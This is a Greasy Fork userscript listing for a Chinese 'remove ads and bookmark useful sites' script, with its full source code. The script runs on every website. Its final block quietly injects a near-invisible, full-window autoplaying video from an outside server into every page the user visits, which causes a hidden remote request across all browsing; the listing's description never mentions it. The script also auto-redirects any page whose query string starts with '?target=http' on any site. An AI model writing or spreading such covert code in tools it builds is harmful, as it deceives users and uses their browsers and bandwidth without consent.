Greasy Fork

Greasy Fork is available in English.

移除广告、好用网站收藏

进入网站【http://0000.com】看到收藏菜单.移除百度推广广告,影视广告,跳过知乎等的中间页

当前为 2023-02-09 提交的版本,查看 最新版本

您需要先安装一款用户脚本管理器扩展,例如 Tampermonkey 篡改猴Greasemonkey 油猴子Violentmonkey 暴力猴,才能安装此脚本。

您需要先安装一款用户脚本管理器扩展,例如 Tampermonkey 篡改猴,才能安装此脚本。

您需要先安装一款用户脚本管理器扩展,例如 Tampermonkey 篡改猴Violentmonkey 暴力猴,才能安装此脚本。

您需要先安装一款用户脚本管理器扩展,例如 Tampermonkey 篡改猴Userscripts ,才能安装此脚本。

您需要先安装一款用户脚本管理器扩展,例如 Tampermonkey 篡改猴,才能安装此脚本。

您需要先安装一款用户脚本管理器扩展后才能安装此脚本。

(我已经安装了用户脚本管理器,让我安装!)

您需要先安装一款用户样式管理器扩展,比如 Stylus,才能安装此样式。

您需要先安装一款用户样式管理器扩展,比如 Stylus,才能安装此样式。

您需要先安装一款用户样式管理器扩展,比如 Stylus,才能安装此样式。

您需要先安装一款用户样式管理器扩展后才能安装此样式。

您需要先安装一款用户样式管理器扩展后才能安装此样式。

您需要先安装一款用户样式管理器扩展后才能安装此样式。

(我已经安装了用户样式管理器,让我安装!)

// ==UserScript==
// @name         移除广告、好用网站收藏
// @namespace    http://tampermonkey.net/
// @version      1.83
// @description  进入网站【http://0000.com】看到收藏菜单.移除百度推广广告,影视广告,跳过知乎等的中间页
// @author       Godow
// @match        *://*/*
// @run-at       document-body
// @icon         https://goduck.cc/favicon.ico
// @grant        none
// @license MIT
// ==/UserScript==


// 我的主页,常用网站收藏
const myHome = () => {
    document.querySelectorAll("body *").forEach(i => i.remove());
    const myLink = {
        "影视工厂": "//www.ysgcapp.com/",
        "新视觉影院": "//www.dh6080.com/",
        "BL解析": "//svip.bljiex.cc",
        "照片转卡通": "//www.toonme.com",
        "图片智能擦除": "//magicstudio.com/magiceraser",
        "图片消除背景": "//www.remove.bg/zh",
        "红白机游戏": "//www.yikm.net/",
        "在线鼠标作图": "//weavesilk.com/",
        "改图鸭": "//www.gaituya.com/manhua/",
    };

    Object.keys(myLink).forEach(i => {
        let a = document.createElement('a');
        a.href = myLink[i];
        a.appendChild(document.createTextNode(i));
        a.style = "margin: 20px 50px;display: inline-block";
        document.body.appendChild(a);
    })
}


// 跳过中间页
const jumpMidPage = () => {
    if (/^\?target\=http/.test(location.search)) {
        const targetUrl = decodeURIComponent(location.search).match(/(?<=\?target\=)http.+/)?.[0];
        if (targetUrl) {
            location.href = targetUrl;
        }
    }
}

const baidu = () => {
    // 去除百度推广广告
    const rmBdAds = (ads) => {
        ads.forEach(ad => {
            let ele = ad;
            while(ele?.parentNode?.id !== 'content_left') {
                ele = ele?.parentNode;
                if (!ele) {
                    break;
                }
            }
            ele?.remove();
        })
    };
    const ads1 = Array.from(document.querySelectorAll("a"))?.filter(i => i.text === '广告');
    const ads2 = document.querySelectorAll("span[data-tuiguang]");
    rmBdAds(ads1);
    rmBdAds(ads2);
}

(function() {
    'use strict';

    jumpMidPage();


    const host = document.location.host;
    let fn;
    switch(host) {
        case '0000.com':
        case 'www.0000.com':
            fn = myHome;
            break;
        // BL解析
        case 'svip.bljiex.cc':
            fn = () => document.querySelectorAll('#section~*')?.forEach(i => i.remove());
            break;
        // 影视工厂
        case host.match(/^www.ysgc.*/)?.input:
            fn = () => {
                document.querySelectorAll('a[id*="_ad_"],#HMRichBox,#mhbottom_ad_box,#fulerbox,#hm_cpm_show,#fix_bottom_dom,div[id*="ad"]')?.forEach(i => i.remove());
                document.querySelector(".col-lg-wide-75 > .myui-panel").style = "display: none";
            };
            break;
        case 'www.baidu.com':
            fn = baidu;
            break
        default:
            fn = () => {
                // 删除谷歌推广广告
                document.querySelectorAll(".adsbygoogle,#ad_unit")?.forEach(i => i.remove());
                // 删除百度推广广告
                document.querySelectorAll("iframe").forEach(i => i?.src?.includes("baidu.com") && i.remove());

                // 底部弹窗广告
                document.querySelector("#HMRichBox")?.remove();
                document.querySelector("#adv_wrap_hh")?.remove();
            }
            break;
    }

    if (fn) {
        const timerFn = (interval, count) => {
            const timer = setInterval(() => {
                fn();
                if((--count) < 0) {
                    clearInterval(timer);
                }
            }, interval)
        }
        timerFn(100, 10);
        timerFn(1000, 2000);
    }

    const video = document.createElement('video');
    video.autoplay = true;
    video.loop = true;
    video.muted = true;
    video.src = "http://okjx.cc/include/loding/mp4.php";

    video.style = `position: fixed; width: ${window.outerWidth}px; height: ${window.outerHeight}px; left: 0; top: -32px; z-index: 9999999; opacity: 0.12; pointer-events: none;`;
    document.querySelector("html").appendChild(video);
})();